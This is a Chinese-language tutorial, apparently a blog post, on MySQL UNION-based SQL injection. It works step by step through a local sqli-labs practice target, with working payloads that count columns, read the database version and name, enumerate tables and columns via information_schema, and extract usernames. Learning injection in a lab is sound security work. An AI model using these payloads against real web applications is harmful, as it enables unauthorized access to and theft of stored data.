Mysql注入 -- 联合注入

本文涉及的产品
云数据库 RDS MySQL Serverless,0.5-2RCU 50GB
云数据库 RDS MySQL Serverless,价值2615元额度,1个月
简介: Mysql注入 -- 联合注入

一、常用命令及函数

1、order by排序,获取数据有几个字段,后面小于等于字段数,都会返回结果,大于字段数返回错误

select * from users order by 3;

0a2653c851af460fa595bd959398a8f1.png

2、union select联合查询,后边必须跟一样的字段数

select * from users union select 1,2,5;

0eacb84100b54626af849e6b562bf92a.png

3、user()查看当前mysql用户

4、version()查看mysql版本信息

5、database()查看当前数据库名

select * from users union select user(),version(),database();

2d65d23f6d4748949b924e4057485923.png

二、跨库查询

1、获取aiyou数据库中表

select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou";

2、获取下一个表格

select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 0,1;
select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 1,1;
select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 2,1;

0a2653c851af460fa595bd959398a8f1.png

3、获取字段名

select * from users union select 1,2,column_name from information_schema.columns where table_name="bucuo";

0eacb84100b54626af849e6b562bf92a.png

4、获取字段内容

select * from users union select 1,2,username from users;

2d65d23f6d4748949b924e4057485923.png

三、实例演示(sqli环境)

1、判断表有多少字段,order by 3返回正常,所以有三个字段

http://192.168.139.129/sqli/Less-2/?id=1 order by 3

0a2653c851af460fa595bd959398a8f1.png

2、联合查询可以显示的数列,让前面的select语句报错,才能执行后面的select语句

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,3

0eacb84100b54626af849e6b562bf92a.png

3、获取数据库名字和版本信息,因为1不能显示,所以将2和3替换为version(),database()

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,version(),database()

2d65d23f6d4748949b924e4057485923.png

4、获取数据库security的表

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema="security"

2e9b90b2ca334476abebe75bafe6eeaa.png

获取第二个表、第三个表

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema="security" limit 1,1 --

4cebaac233b3433da32a72337a77fc60.png

5、获取表名为users的字段名

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name="users"
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name="users" limit 1,1 --

6de278e6d6694ce5bb08e7e842b7e74b.png

6、获取字段内容

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,username from users
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,username from users limit 1,1 --

7a399525ddec4b77923c464820b33738 (1).png

禁止非法,后果自负

相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
3月前
|
SQL 关系型数据库 MySQL
【MySQL进阶之路丨第十四篇】一文带你精通MySQL重复数据及SQL注入
【MySQL进阶之路丨第十四篇】一文带你精通MySQL重复数据及SQL注入
48 0
|
7月前
|
SQL 关系型数据库 MySQL
Python 与 MySQL 进行增删改查的操作以及防止SQL注入
Python 与 MySQL 进行增删改查的操作以及防止SQL注入
134 0
|
3月前
|
安全 关系型数据库 MySQL
Mysql注入 -- 数据库导出及读文件
Mysql注入 -- 数据库导出及读文件
97 0
|
3月前
|
关系型数据库 MySQL
Mysql注入 -- 注入类型
Mysql注入 -- 注入类型
16 1
|
3月前
|
关系型数据库 MySQL 数据库
Mysql注入 -- 布尔注入
Mysql注入 -- 布尔注入
12 0
|
3月前
|
安全 关系型数据库 MySQL
Mysql注入 -- 延时注入
Mysql注入 -- 延时注入
9 0
|
3月前
|
安全 关系型数据库 MySQL
Mysql注入 -- 报错注入
Mysql注入 -- 报错注入
12 0
|
3月前
|
安全 关系型数据库 MySQL
MySQL注入 -- 宽字节注入
MySQL注入 -- 宽字节注入
18 0
|
3月前
|
SQL 关系型数据库 MySQL
Mysql注入 -- 堆叠注入
Mysql注入 -- 堆叠注入
22 0
|
4月前
|
SQL 关系型数据库 MySQL
【MySQL进阶之路丨第十四篇】一文带你精通MySQL重复数据及SQL注入
【MySQL进阶之路丨第十四篇】一文带你精通MySQL重复数据及SQL注入
32 0